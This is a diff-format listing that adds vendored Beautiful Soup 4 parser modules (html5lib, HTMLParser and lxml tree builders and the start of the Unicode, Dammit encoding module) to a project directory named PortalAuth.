def elementClass(self, name, namespace):
|
||||
tag = self.soup.new_tag(name, namespace)
|
||||
return Element(tag, self.soup, namespace)
|
||||
|
||||
def commentClass(self, data):
|
||||
return TextNode(Comment(data), self.soup)
|
||||
|
||||
def fragmentClass(self):
|
||||
self.soup = BeautifulSoup("")
|
||||
self.soup.name = "[document_fragment]"
|
||||
return Element(self.soup, self.soup, None)
|
||||
|
||||
def appendChild(self, node):
|
||||
# XXX This code is not covered by the BS4 tests.
|
||||
self.soup.append(node.element)
|
||||
|
||||
def getDocument(self):
|
||||
return self.soup
|
||||
|
||||
def getFragment(self):
|
||||
return html5lib.treebuilders._base.TreeBuilder.getFragment(self).element
|
||||
|
||||
class AttrList(object):
|
||||
def __init__(self, element):
|
||||
self.element = element
|
||||
self.attrs = dict(self.element.attrs)
|
||||
def __iter__(self):
|
||||
return list(self.attrs.items()).__iter__()
|
||||
def __setitem__(self, name, value):
|
||||
# If this attribute is a multi-valued attribute for this element,
|
||||
# turn its value into a list.
|
||||
list_attr = HTML5TreeBuilder.cdata_list_attributes
|
||||
if (name in list_attr['*']
|
||||
or (self.element.name in list_attr
|
||||
and name in list_attr[self.element.name])):
|
||||
value = whitespace_re.split(value)
|
||||
self.element[name] = value
|
||||
def items(self):
|
||||
return list(self.attrs.items())
|
||||
def keys(self):
|
||||
return list(self.attrs.keys())
|
||||
def __len__(self):
|
||||
return len(self.attrs)
|
||||
def __getitem__(self, name):
|
||||
return self.attrs[name]
|
||||
def __contains__(self, name):
|
||||
return name in list(self.attrs.keys())
|
||||
|
||||
|
||||
class Element(html5lib.treebuilders._base.Node):
|
||||
def __init__(self, element, soup, namespace):
|
||||
html5lib.treebuilders._base.Node.__init__(self, element.name)
|
||||
self.element = element
|
||||
self.soup = soup
|
||||
self.namespace = namespace
|
||||
|
||||
def appendChild(self, node):
|
||||
string_child = child = None
|
||||
if isinstance(node, basestring):
|
||||
# Some other piece of code decided to pass in a string
|
||||
# instead of creating a TextElement object to contain the
|
||||
# string.
|
||||
string_child = child = node
|
||||
elif isinstance(node, Tag):
|
||||
# Some other piece of code decided to pass in a Tag
|
||||
# instead of creating an Element object to contain the
|
||||
# Tag.
|
||||
child = node
|
||||
elif node.element.__class__ == NavigableString:
|
||||
string_child = child = node.element
|
||||
else:
|
||||
child = node.element
|
||||
|
||||
if not isinstance(child, basestring) and child.parent is not None:
|
||||
node.element.extract()
|
||||
|
||||
if (string_child and self.element.contents
|
||||
and self.element.contents[-1].__class__ == NavigableString):
|
||||
# We are appending a string onto another string.
|
||||
# TODO This has O(n^2) performance, for input like
|
||||
# "a</a>a</a>a</a>..."
|
||||
old_element = self.element.contents[-1]
|
||||
new_element = self.soup.new_string(old_element + string_child)
|
||||
old_element.replace_with(new_element)
|
||||
self.soup._most_recent_element = new_element
|
||||
else:
|
||||
if isinstance(node, basestring):
|
||||
# Create a brand new NavigableString from this string.
|
||||
child = self.soup.new_string(node)
|
||||
|
||||
# Tell Beautiful Soup to act as if it parsed this element
|
||||
# immediately after the parent's last descendant. (Or
|
||||
# immediately after the parent, if it has no children.)
|
||||
if self.element.contents:
|
||||
most_recent_element = self.element._last_descendant(False)
|
||||
elif self.element.next_element is not None:
|
||||
# Something from further ahead in the parse tree is
|
||||
# being inserted into this earlier element. This is
|
||||
# very annoying because it means an expensive search
|
||||
# for the last element in the tree.
|
||||
most_recent_element = self.soup._last_descendant()
|
||||
else:
|
||||
most_recent_element = self.element
|
||||
|
||||
self.soup.object_was_parsed(
|
||||
child, parent=self.element,
|
||||
most_recent_element=most_recent_element)
|
||||
|
||||
def getAttributes(self):
|
||||
return AttrList(self.element)
|
||||
|
||||
def setAttributes(self, attributes):
|
||||
|
||||
if attributes is not None and len(attributes) > 0:
|
||||
|
||||
converted_attributes = []
|
||||
for name, value in list(attributes.items()):
|
||||
if isinstance(name, tuple):
|
||||
new_name = NamespacedAttribute(*name)
|
||||
del attributes[name]
|
||||
attributes[new_name] = value
|
||||
|
||||
self.soup.builder._replace_cdata_list_attribute_values(
|
||||
self.name, attributes)
|
||||
for name, value in attributes.items():
|
||||
self.element[name] = value
|
||||
|
||||
# The attributes may contain variables that need substitution.
|
||||
# Call set_up_substitutions manually.
|
||||
#
|
||||
# The Tag constructor called this method when the Tag was created,
|
||||
# but we just set/changed the attributes, so call it again.
|
||||
self.soup.builder.set_up_substitutions(self.element)
|
||||
attributes = property(getAttributes, setAttributes)
|
||||
|
||||
def insertText(self, data, insertBefore=None):
|
||||
if insertBefore:
|
||||
text = TextNode(self.soup.new_string(data), self.soup)
|
||||
self.insertBefore(data, insertBefore)
|
||||
else:
|
||||
self.appendChild(data)
|
||||
|
||||
def insertBefore(self, node, refNode):
|
||||
index = self.element.index(refNode.element)
|
||||
if (node.element.__class__ == NavigableString and self.element.contents
|
||||
and self.element.contents[index-1].__class__ == NavigableString):
|
||||
# (See comments in appendChild)
|
||||
old_node = self.element.contents[index-1]
|
||||
new_str = self.soup.new_string(old_node + node.element)
|
||||
old_node.replace_with(new_str)
|
||||
else:
|
||||
self.element.insert(index, node.element)
|
||||
node.parent = self
|
||||
|
||||
def removeChild(self, node):
|
||||
node.element.extract()
|
||||
|
||||
def reparentChildren(self, new_parent):
|
||||
"""Move all of this tag's children into another tag."""
|
||||
# print "MOVE", self.element.contents
|
||||
# print "FROM", self.element
|
||||
# print "TO", new_parent.element
|
||||
element = self.element
|
||||
new_parent_element = new_parent.element
|
||||
# Determine what this tag's next_element will be once all the children
|
||||
# are removed.
|
||||
final_next_element = element.next_sibling
|
||||
|
||||
new_parents_last_descendant = new_parent_element._last_descendant(False, False)
|
||||
if len(new_parent_element.contents) > 0:
|
||||
# The new parent already contains children. We will be
|
||||
# appending this tag's children to the end.
|
||||
new_parents_last_child = new_parent_element.contents[-1]
|
||||
new_parents_last_descendant_next_element = new_parents_last_descendant.next_element
|
||||
else:
|
||||
# The new parent contains no children.
|
||||
new_parents_last_child = None
|
||||
new_parents_last_descendant_next_element = new_parent_element.next_element
|
||||
|
||||
to_append = element.contents
|
||||
append_after = new_parent_element.contents
|
||||
if len(to_append) > 0:
|
||||
# Set the first child's previous_element and previous_sibling
|
||||
# to elements within the new parent
|
||||
first_child = to_append[0]
|
||||
if new_parents_last_descendant:
|
||||
first_child.previous_element = new_parents_last_descendant
|
||||
else:
|
||||
first_child.previous_element = new_parent_element
|
||||
first_child.previous_sibling = new_parents_last_child
|
||||
if new_parents_last_descendant:
|
||||
new_parents_last_descendant.next_element = first_child
|
||||
else:
|
||||
new_parent_element.next_element = first_child
|
||||
if new_parents_last_child:
|
||||
new_parents_last_child.next_sibling = first_child
|
||||
|
||||
# Fix the last child's next_element and next_sibling
|
||||
last_child = to_append[-1]
|
||||
last_child.next_element = new_parents_last_descendant_next_element
|
||||
if new_parents_last_descendant_next_element:
|
||||
new_parents_last_descendant_next_element.previous_element = last_child
|
||||
last_child.next_sibling = None
|
||||
|
||||
for child in to_append:
|
||||
child.parent = new_parent_element
|
||||
new_parent_element.contents.append(child)
|
||||
|
||||
# Now that this element has no children, change its .next_element.
|
||||
element.contents = []
|
||||
element.next_element = final_next_element
|
||||
|
||||
# print "DONE WITH MOVE"
|
||||
# print "FROM", self.element
|
||||
# print "TO", new_parent_element
|
||||
|
||||
def cloneNode(self):
|
||||
tag = self.soup.new_tag(self.element.name, self.namespace)
|
||||
node = Element(tag, self.soup, self.namespace)
|
||||
for key,value in self.attributes:
|
||||
node.attributes[key] = value
|
||||
return node
|
||||
|
||||
def hasContent(self):
|
||||
return self.element.contents
|
||||
|
||||
def getNameTuple(self):
|
||||
if self.namespace == None:
|
||||
return namespaces["html"], self.name
|
||||
else:
|
||||
return self.namespace, self.name
|
||||
|
||||
nameTuple = property(getNameTuple)
|
||||
|
||||
class TextNode(Element):
|
||||
def __init__(self, element, soup):
|
||||
html5lib.treebuilders._base.Node.__init__(self, None)
|
||||
self.element = element
|
||||
self.soup = soup
|
||||
|
||||
def cloneNode(self):
|
||||
raise NotImplementedError
|
||||
262
PortalAuth/includes/scripts/libs/bs4/builder/_htmlparser.py
Executable file
262
PortalAuth/includes/scripts/libs/bs4/builder/_htmlparser.py
Executable file
@@ -0,0 +1,262 @@
|
||||
"""Use the HTMLParser library to parse HTML files that aren't too bad."""
|
||||
|
||||
__all__ = [
|
||||
'HTMLParserTreeBuilder',
|
||||
]
|
||||
|
||||
from HTMLParser import HTMLParser
|
||||
|
||||
try:
|
||||
from HTMLParser import HTMLParseError
|
||||
except ImportError, e:
|
||||
# HTMLParseError is removed in Python 3.5. Since it can never be
|
||||
# thrown in 3.5, we can just define our own class as a placeholder.
|
||||
class HTMLParseError(Exception):
|
||||
pass
|
||||
|
||||
import sys
|
||||
import warnings
|
||||
|
||||
# Starting in Python 3.2, the HTMLParser constructor takes a 'strict'
|
||||
# argument, which we'd like to set to False. Unfortunately,
|
||||
# http://bugs.python.org/issue13273 makes strict=True a better bet
|
||||
# before Python 3.2.3.
|
||||
#
|
||||
# At the end of this file, we monkeypatch HTMLParser so that
|
||||
# strict=True works well on Python 3.2.2.
|
||||
major, minor, release = sys.version_info[:3]
|
||||
CONSTRUCTOR_TAKES_STRICT = major == 3 and minor == 2 and release >= 3
|
||||
CONSTRUCTOR_STRICT_IS_DEPRECATED = major == 3 and minor == 3
|
||||
CONSTRUCTOR_TAKES_CONVERT_CHARREFS = major == 3 and minor >= 4
|
||||
|
||||
|
||||
from bs4.element import (
|
||||
CData,
|
||||
Comment,
|
||||
Declaration,
|
||||
Doctype,
|
||||
ProcessingInstruction,
|
||||
)
|
||||
from bs4.dammit import EntitySubstitution, UnicodeDammit
|
||||
|
||||
from bs4.builder import (
|
||||
HTML,
|
||||
HTMLTreeBuilder,
|
||||
STRICT,
|
||||
)
|
||||
|
||||
|
||||
HTMLPARSER = 'html.parser'
|
||||
|
||||
class BeautifulSoupHTMLParser(HTMLParser):
|
||||
def handle_starttag(self, name, attrs):
|
||||
# XXX namespace
|
||||
attr_dict = {}
|
||||
for key, value in attrs:
|
||||
# Change None attribute values to the empty string
|
||||
# for consistency with the other tree builders.
|
||||
if value is None:
|
||||
value = ''
|
||||
attr_dict[key] = value
|
||||
attrvalue = '""'
|
||||
self.soup.handle_starttag(name, None, None, attr_dict)
|
||||
|
||||
def handle_endtag(self, name):
|
||||
self.soup.handle_endtag(name)
|
||||
|
||||
def handle_data(self, data):
|
||||
self.soup.handle_data(data)
|
||||
|
||||
def handle_charref(self, name):
|
||||
# XXX workaround for a bug in HTMLParser. Remove this once
|
||||
# it's fixed in all supported versions.
|
||||
# http://bugs.python.org/issue13633
|
||||
if name.startswith('x'):
|
||||
real_name = int(name.lstrip('x'), 16)
|
||||
elif name.startswith('X'):
|
||||
real_name = int(name.lstrip('X'), 16)
|
||||
else:
|
||||
real_name = int(name)
|
||||
|
||||
try:
|
||||
data = unichr(real_name)
|
||||
except (ValueError, OverflowError), e:
|
||||
data = u"\N{REPLACEMENT CHARACTER}"
|
||||
|
||||
self.handle_data(data)
|
||||
|
||||
def handle_entityref(self, name):
|
||||
character = EntitySubstitution.HTML_ENTITY_TO_CHARACTER.get(name)
|
||||
if character is not None:
|
||||
data = character
|
||||
else:
|
||||
data = "&%s;" % name
|
||||
self.handle_data(data)
|
||||
|
||||
def handle_comment(self, data):
|
||||
self.soup.endData()
|
||||
self.soup.handle_data(data)
|
||||
self.soup.endData(Comment)
|
||||
|
||||
def handle_decl(self, data):
|
||||
self.soup.endData()
|
||||
if data.startswith("DOCTYPE "):
|
||||
data = data[len("DOCTYPE "):]
|
||||
elif data == 'DOCTYPE':
|
||||
# i.e. "<!DOCTYPE>"
|
||||
data = ''
|
||||
self.soup.handle_data(data)
|
||||
self.soup.endData(Doctype)
|
||||
|
||||
def unknown_decl(self, data):
|
||||
if data.upper().startswith('CDATA['):
|
||||
cls = CData
|
||||
data = data[len('CDATA['):]
|
||||
else:
|
||||
cls = Declaration
|
||||
self.soup.endData()
|
||||
self.soup.handle_data(data)
|
||||
self.soup.endData(cls)
|
||||
|
||||
def handle_pi(self, data):
|
||||
self.soup.endData()
|
||||
self.soup.handle_data(data)
|
||||
self.soup.endData(ProcessingInstruction)
|
||||
|
||||
|
||||
class HTMLParserTreeBuilder(HTMLTreeBuilder):
|
||||
|
||||
is_xml = False
|
||||
picklable = True
|
||||
NAME = HTMLPARSER
|
||||
features = [NAME, HTML, STRICT]
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
if CONSTRUCTOR_TAKES_STRICT and not CONSTRUCTOR_STRICT_IS_DEPRECATED:
|
||||
kwargs['strict'] = False
|
||||
if CONSTRUCTOR_TAKES_CONVERT_CHARREFS:
|
||||
kwargs['convert_charrefs'] = False
|
||||
self.parser_args = (args, kwargs)
|
||||
|
||||
def prepare_markup(self, markup, user_specified_encoding=None,
|
||||
document_declared_encoding=None, exclude_encodings=None):
|
||||
"""
|
||||
:return: A 4-tuple (markup, original encoding, encoding
|
||||
declared within markup, whether any characters had to be
|
||||
replaced with REPLACEMENT CHARACTER).
|
||||
"""
|
||||
if isinstance(markup, unicode):
|
||||
yield (markup, None, None, False)
|
||||
return
|
||||
|
||||
try_encodings = [user_specified_encoding, document_declared_encoding]
|
||||
dammit = UnicodeDammit(markup, try_encodings, is_html=True,
|
||||
exclude_encodings=exclude_encodings)
|
||||
yield (dammit.markup, dammit.original_encoding,
|
||||
dammit.declared_html_encoding,
|
||||
dammit.contains_replacement_characters)
|
||||
|
||||
def feed(self, markup):
|
||||
args, kwargs = self.parser_args
|
||||
parser = BeautifulSoupHTMLParser(*args, **kwargs)
|
||||
parser.soup = self.soup
|
||||
try:
|
||||
parser.feed(markup)
|
||||
except HTMLParseError, e:
|
||||
warnings.warn(RuntimeWarning(
|
||||
"Python's built-in HTMLParser cannot parse the given document. This is not a bug in Beautiful Soup. The best solution is to install an external parser (lxml or html5lib), and use Beautiful Soup with that parser. See http://www.crummy.com/software/BeautifulSoup/bs4/doc/#installing-a-parser for help."))
|
||||
raise e
|
||||
|
||||
# Patch 3.2 versions of HTMLParser earlier than 3.2.3 to use some
|
||||
# 3.2.3 code. This ensures they don't treat markup like <p></p> as a
|
||||
# string.
|
||||
#
|
||||
# XXX This code can be removed once most Python 3 users are on 3.2.3.
|
||||
if major == 3 and minor == 2 and not CONSTRUCTOR_TAKES_STRICT:
|
||||
import re
|
||||
attrfind_tolerant = re.compile(
|
||||
r'\s*((?<=[\'"\s])[^\s/>][^\s/=>]*)(\s*=+\s*'
|
||||
r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?')
|
||||
HTMLParserTreeBuilder.attrfind_tolerant = attrfind_tolerant
|
||||
|
||||
locatestarttagend = re.compile(r"""
|
||||
<[a-zA-Z][-.a-zA-Z0-9:_]* # tag name
|
||||
(?:\s+ # whitespace before attribute name
|
||||
(?:[a-zA-Z_][-.:a-zA-Z0-9_]* # attribute name
|
||||
(?:\s*=\s* # value indicator
|
||||
(?:'[^']*' # LITA-enclosed value
|
||||
|\"[^\"]*\" # LIT-enclosed value
|
||||
|[^'\">\s]+ # bare value
|
||||
)
|
||||
)?
|
||||
)
|
||||
)*
|
||||
\s* # trailing whitespace
|
||||
""", re.VERBOSE)
|
||||
BeautifulSoupHTMLParser.locatestarttagend = locatestarttagend
|
||||
|
||||
from html.parser import tagfind, attrfind
|
||||
|
||||
def parse_starttag(self, i):
|
||||
self.__starttag_text = None
|
||||
endpos = self.check_for_whole_start_tag(i)
|
||||
if endpos < 0:
|
||||
return endpos
|
||||
rawdata = self.rawdata
|
||||
self.__starttag_text = rawdata[i:endpos]
|
||||
|
||||
# Now parse the data between i+1 and j into a tag and attrs
|
||||
attrs = []
|
||||
match = tagfind.match(rawdata, i+1)
|
||||
assert match, 'unexpected call to parse_starttag()'
|
||||
k = match.end()
|
||||
self.lasttag = tag = rawdata[i+1:k].lower()
|
||||
while k < endpos:
|
||||
if self.strict:
|
||||
m = attrfind.match(rawdata, k)
|
||||
else:
|
||||
m = attrfind_tolerant.match(rawdata, k)
|
||||
if not m:
|
||||
break
|
||||
attrname, rest, attrvalue = m.group(1, 2, 3)
|
||||
if not rest:
|
||||
attrvalue = None
|
||||
elif attrvalue[:1] == '\'' == attrvalue[-1:] or \
|
||||
attrvalue[:1] == '"' == attrvalue[-1:]:
|
||||
attrvalue = attrvalue[1:-1]
|
||||
if attrvalue:
|
||||
attrvalue = self.unescape(attrvalue)
|
||||
attrs.append((attrname.lower(), attrvalue))
|
||||
k = m.end()
|
||||
|
||||
end = rawdata[k:endpos].strip()
|
||||
if end not in (">", "/>"):
|
||||
lineno, offset = self.getpos()
|
||||
if "\n" in self.__starttag_text:
|
||||
lineno = lineno + self.__starttag_text.count("\n")
|
||||
offset = len(self.__starttag_text) \
|
||||
- self.__starttag_text.rfind("\n")
|
||||
else:
|
||||
offset = offset + len(self.__starttag_text)
|
||||
if self.strict:
|
||||
self.error("junk characters in start tag: %r"
|
||||
% (rawdata[k:endpos][:20],))
|
||||
self.handle_data(rawdata[i:endpos])
|
||||
return endpos
|
||||
if end.endswith('/>'):
|
||||
# XHTML-style empty tag: <span attr="value" />
|
||||
self.handle_startendtag(tag, attrs)
|
||||
else:
|
||||
self.handle_starttag(tag, attrs)
|
||||
if tag in self.CDATA_CONTENT_ELEMENTS:
|
||||
self.set_cdata_mode(tag)
|
||||
return endpos
|
||||
|
||||
def set_cdata_mode(self, elem):
|
||||
self.cdata_elem = elem.lower()
|
||||
self.interesting = re.compile(r'</\s*%s\s*>' % self.cdata_elem, re.I)
|
||||
|
||||
BeautifulSoupHTMLParser.parse_starttag = parse_starttag
|
||||
BeautifulSoupHTMLParser.set_cdata_mode = set_cdata_mode
|
||||
|
||||
CONSTRUCTOR_TAKES_STRICT = True
|
||||
248
PortalAuth/includes/scripts/libs/bs4/builder/_lxml.py
Executable file
248
PortalAuth/includes/scripts/libs/bs4/builder/_lxml.py
Executable file
@@ -0,0 +1,248 @@
|
||||
__all__ = [
|
||||
'LXMLTreeBuilderForXML',
|
||||
'LXMLTreeBuilder',
|
||||
]
|
||||
|
||||
from io import BytesIO
|
||||
from StringIO import StringIO
|
||||
import collections
|
||||
from lxml import etree
|
||||
from bs4.element import (
|
||||
Comment,
|
||||
Doctype,
|
||||
NamespacedAttribute,
|
||||
ProcessingInstruction,
|
||||
)
|
||||
from bs4.builder import (
|
||||
FAST,
|
||||
HTML,
|
||||
HTMLTreeBuilder,
|
||||
PERMISSIVE,
|
||||
ParserRejectedMarkup,
|
||||
TreeBuilder,
|
||||
XML)
|
||||
from bs4.dammit import EncodingDetector
|
||||
|
||||
LXML = 'lxml'
|
||||
|
||||
class LXMLTreeBuilderForXML(TreeBuilder):
|
||||
DEFAULT_PARSER_CLASS = etree.XMLParser
|
||||
|
||||
is_xml = True
|
||||
|
||||
NAME = "lxml-xml"
|
||||
ALTERNATE_NAMES = ["xml"]
|
||||
|
||||
# Well, it's permissive by XML parser standards.
|
||||
features = [NAME, LXML, XML, FAST, PERMISSIVE]
|
||||
|
||||
CHUNK_SIZE = 512
|
||||
|
||||
# This namespace mapping is specified in the XML Namespace
|
||||
# standard.
|
||||
DEFAULT_NSMAPS = {'http://www.w3.org/XML/1998/namespace' : "xml"}
|
||||
|
||||
def default_parser(self, encoding):
|
||||
# This can either return a parser object or a class, which
|
||||
# will be instantiated with default arguments.
|
||||
if self._default_parser is not None:
|
||||
return self._default_parser
|
||||
return etree.XMLParser(
|
||||
target=self, strip_cdata=False, recover=True, encoding=encoding)
|
||||
|
||||
def parser_for(self, encoding):
|
||||
# Use the default parser.
|
||||
parser = self.default_parser(encoding)
|
||||
|
||||
if isinstance(parser, collections.Callable):
|
||||
# Instantiate the parser with default arguments
|
||||
parser = parser(target=self, strip_cdata=False, encoding=encoding)
|
||||
return parser
|
||||
|
||||
def __init__(self, parser=None, empty_element_tags=None):
|
||||
# TODO: Issue a warning if parser is present but not a
|
||||
# callable, since that means there's no way to create new
|
||||
# parsers for different encodings.
|
||||
self._default_parser = parser
|
||||
if empty_element_tags is not None:
|
||||
self.empty_element_tags = set(empty_element_tags)
|
||||
self.soup = None
|
||||
self.nsmaps = [self.DEFAULT_NSMAPS]
|
||||
|
||||
def _getNsTag(self, tag):
|
||||
# Split the namespace URL out of a fully-qualified lxml tag
|
||||
# name. Copied from lxml's src/lxml/sax.py.
|
||||
if tag[0] == '{':
|
||||
return tuple(tag[1:].split('}', 1))
|
||||
else:
|
||||
return (None, tag)
|
||||
|
||||
def prepare_markup(self, markup, user_specified_encoding=None,
|
||||
exclude_encodings=None,
|
||||
document_declared_encoding=None):
|
||||
"""
|
||||
:yield: A series of 4-tuples.
|
||||
(markup, encoding, declared encoding,
|
||||
has undergone character replacement)
|
||||
|
||||
Each 4-tuple represents a strategy for parsing the document.
|
||||
"""
|
||||
if isinstance(markup, unicode):
|
||||
# We were given Unicode. Maybe lxml can parse Unicode on
|
||||
# this system?
|
||||
yield markup, None, document_declared_encoding, False
|
||||
|
||||
if isinstance(markup, unicode):
|
||||
# No, apparently not. Convert the Unicode to UTF-8 and
|
||||
# tell lxml to parse it as UTF-8.
|
||||
yield (markup.encode("utf8"), "utf8",
|
||||
document_declared_encoding, False)
|
||||
|
||||
# Instead of using UnicodeDammit to convert the bytestring to
|
||||
# Unicode using different encodings, use EncodingDetector to
|
||||
# iterate over the encodings, and tell lxml to try to parse
|
||||
# the document as each one in turn.
|
||||
is_html = not self.is_xml
|
||||
try_encodings = [user_specified_encoding, document_declared_encoding]
|
||||
detector = EncodingDetector(
|
||||
markup, try_encodings, is_html, exclude_encodings)
|
||||
for encoding in detector.encodings:
|
||||
yield (detector.markup, encoding, document_declared_encoding, False)
|
||||
|
||||
def feed(self, markup):
|
||||
if isinstance(markup, bytes):
|
||||
markup = BytesIO(markup)
|
||||
elif isinstance(markup, unicode):
|
||||
markup = StringIO(markup)
|
||||
|
||||
# Call feed() at least once, even if the markup is empty,
|
||||
# or the parser won't be initialized.
|
||||
data = markup.read(self.CHUNK_SIZE)
|
||||
try:
|
||||
self.parser = self.parser_for(self.soup.original_encoding)
|
||||
self.parser.feed(data)
|
||||
while len(data) != 0:
|
||||
# Now call feed() on the rest of the data, chunk by chunk.
|
||||
data = markup.read(self.CHUNK_SIZE)
|
||||
if len(data) != 0:
|
||||
self.parser.feed(data)
|
||||
self.parser.close()
|
||||
except (UnicodeDecodeError, LookupError, etree.ParserError), e:
|
||||
raise ParserRejectedMarkup(str(e))
|
||||
|
||||
def close(self):
|
||||
self.nsmaps = [self.DEFAULT_NSMAPS]
|
||||
|
||||
def start(self, name, attrs, nsmap={}):
|
||||
# Make sure attrs is a mutable dict--lxml may send an immutable dictproxy.
|
||||
attrs = dict(attrs)
|
||||
nsprefix = None
|
||||
# Invert each namespace map as it comes in.
|
||||
if len(self.nsmaps) > 1:
|
||||
# There are no new namespaces for this tag, but
|
||||
# non-default namespaces are in play, so we need a
|
||||
# separate tag stack to know when they end.
|
||||
self.nsmaps.append(None)
|
||||
elif len(nsmap) > 0:
|
||||
# A new namespace mapping has come into play.
|
||||
inverted_nsmap = dict((value, key) for key, value in nsmap.items())
|
||||
self.nsmaps.append(inverted_nsmap)
|
||||
# Also treat the namespace mapping as a set of attributes on the
|
||||
# tag, so we can recreate it later.
|
||||
attrs = attrs.copy()
|
||||
for prefix, namespace in nsmap.items():
|
||||
attribute = NamespacedAttribute(
|
||||
"xmlns", prefix, "http://www.w3.org/2000/xmlns/")
|
||||
attrs[attribute] = namespace
|
||||
|
||||
# Namespaces are in play. Find any attributes that came in
|
||||
# from lxml with namespaces attached to their names, and
|
||||
# turn then into NamespacedAttribute objects.
|
||||
new_attrs = {}
|
||||
for attr, value in attrs.items():
|
||||
namespace, attr = self._getNsTag(attr)
|
||||
if namespace is None:
|
||||
new_attrs[attr] = value
|
||||
else:
|
||||
nsprefix = self._prefix_for_namespace(namespace)
|
||||
attr = NamespacedAttribute(nsprefix, attr, namespace)
|
||||
new_attrs[attr] = value
|
||||
attrs = new_attrs
|
||||
|
||||
namespace, name = self._getNsTag(name)
|
||||
nsprefix = self._prefix_for_namespace(namespace)
|
||||
self.soup.handle_starttag(name, namespace, nsprefix, attrs)
|
||||
|
||||
def _prefix_for_namespace(self, namespace):
|
||||
"""Find the currently active prefix for the given namespace."""
|
||||
if namespace is None:
|
||||
return None
|
||||
for inverted_nsmap in reversed(self.nsmaps):
|
||||
if inverted_nsmap is not None and namespace in inverted_nsmap:
|
||||
return inverted_nsmap[namespace]
|
||||
return None
|
||||
|
||||
def end(self, name):
|
||||
self.soup.endData()
|
||||
completed_tag = self.soup.tagStack[-1]
|
||||
namespace, name = self._getNsTag(name)
|
||||
nsprefix = None
|
||||
if namespace is not None:
|
||||
for inverted_nsmap in reversed(self.nsmaps):
|
||||
if inverted_nsmap is not None and namespace in inverted_nsmap:
|
||||
nsprefix = inverted_nsmap[namespace]
|
||||
break
|
||||
self.soup.handle_endtag(name, nsprefix)
|
||||
if len(self.nsmaps) > 1:
|
||||
# This tag, or one of its parents, introduced a namespace
|
||||
# mapping, so pop it off the stack.
|
||||
self.nsmaps.pop()
|
||||
|
||||
def pi(self, target, data):
|
||||
self.soup.endData()
|
||||
self.soup.handle_data(target + ' ' + data)
|
||||
self.soup.endData(ProcessingInstruction)
|
||||
|
||||
def data(self, content):
|
||||
self.soup.handle_data(content)
|
||||
|
||||
def doctype(self, name, pubid, system):
|
||||
self.soup.endData()
|
||||
doctype = Doctype.for_name_and_ids(name, pubid, system)
|
||||
self.soup.object_was_parsed(doctype)
|
||||
|
||||
def comment(self, content):
|
||||
"Handle comments as Comment objects."
|
||||
self.soup.endData()
|
||||
self.soup.handle_data(content)
|
||||
self.soup.endData(Comment)
|
||||
|
||||
def test_fragment_to_document(self, fragment):
|
||||
"""See `TreeBuilder`."""
|
||||
return u'<?xml version="1.0" encoding="utf-8"?>\n%s' % fragment
|
||||
|
||||
|
||||
class LXMLTreeBuilder(HTMLTreeBuilder, LXMLTreeBuilderForXML):
|
||||
|
||||
NAME = LXML
|
||||
ALTERNATE_NAMES = ["lxml-html"]
|
||||
|
||||
features = ALTERNATE_NAMES + [NAME, HTML, FAST, PERMISSIVE]
|
||||
is_xml = False
|
||||
|
||||
def default_parser(self, encoding):
|
||||
return etree.HTMLParser
|
||||
|
||||
def feed(self, markup):
|
||||
encoding = self.soup.original_encoding
|
||||
try:
|
||||
self.parser = self.parser_for(encoding)
|
||||
self.parser.feed(markup)
|
||||
self.parser.close()
|
||||
except (UnicodeDecodeError, LookupError, etree.ParserError), e:
|
||||
raise ParserRejectedMarkup(str(e))
|
||||
|
||||
|
||||
def test_fragment_to_document(self, fragment):
|
||||
"""See `TreeBuilder`."""
|
||||
return u'<html><body>%s</body></html>' % fragment
|
||||
839
PortalAuth/includes/scripts/libs/bs4/dammit.py
Executable file
839
PortalAuth/includes/scripts/libs/bs4/dammit.py
Executable file
@@ -0,0 +1,839 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Beautiful Soup bonus library: Unicode, Dammit
|
||||
|
||||
This library converts a bytestream to Unicode through any means
|
||||
necessary. It is heavily based on code from Mark Pilgrim's Universal
|
||||
Feed Parser. It works best on XML and HTML, but it does not rewrite the
|
||||
XML or HTML to reflect a new encoding; that's the tree builder's job.
|
||||
"""
|
||||
|
||||
from pdb import set_trace
|
||||
import codecs
|
||||
from htmlentitydefs import codepoint2name
|
||||
import re
|
||||
import logging
|
||||
import string
|
||||
|
||||
# Import a library to autodetect character encodings.
|
||||
chardet_type = None
|
||||
try:
|
||||
# First try the fast C implementation.
|
||||
# PyPI package: cchardet
|
||||
import cchardet
|
||||
def chardet_dammit(s):
|
||||
return cchardet.detect(s)['encoding']
|
||||
except ImportError:
|
||||
try:
|
||||
# Fall back to the pure Python implementation
|
||||
# Debian package: python-chardet
|
||||
# PyPI package: chardet
|
||||
import chardet
|
||||
def chardet_dammit(s):
|
||||
return chardet.detect(s)['encoding']
|
||||
#import chardet.constants
|
||||
#chardet.constants._debug = 1
|
||||
except ImportError:
|
||||
# No chardet available.
|
||||
def chardet_dammit(s):
|
||||
return None
|
||||
|
||||
# Available from http://cjkpython.i18n.org/.
|
||||
try:
|
||||
import iconv_codec
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
xml_encoding_re = re.compile(
|
||||
'^<\?.*encoding=[\'"](.*?)[\'"].*\?>'.encode(), re.I)
|
||||
html_meta_re = re.compile(
|
||||
'<\s*meta[^>]+charset\s*=\s*["\']?([^>]*?)[ /;\'">]'.encode(), re.I)
|
||||
|
||||
class EntitySubstitution(object):
|
||||
|
||||
"""Substitute XML or HTML entities for the corresponding characters."""
|
||||
|
||||
def _populate_class_variables():
|
||||
lookup = {}
|
||||
reverse_lookup = {}
|
||||
characters_for_re = []
|
||||
for codepoint, name in list(codepoint2name.items()):
|
||||
character = unichr(codepoint)
|
||||
if codepoint != 34:
|
||||
# There's no point in turning the quotation mark into
|
||||
# ", unless it happens within an attribute value, which
|
||||
# is handled elsewhere.
|
||||
characters_for_re.append(character)
|
||||
lookup[character] = name
|
||||
# But we do want to turn " into the quotation mark.
|
||||
reverse_lookup[name] = character
|
||||
re_definition = "[%s]" % "".join(characters_for_re)
|
||||
return lookup, reverse_lookup, re.compile(re_definition)
|
||||
(CHARACTER_TO_HTML_ENTITY, HTML_ENTITY_TO_CHARACTER,
|
||||
CHARACTER_TO_HTML_ENTITY_RE) = _populate_class_variables()
|
||||
|
||||
CHARACTER_TO_XML_ENTITY = {
|
||||
"'": "apos",
|
||||
'"': "quot",
|
||||
"&": "amp",
|
||||
"<": "lt",
|
||||
">": "gt",
|
||||
}
|
||||
|
||||
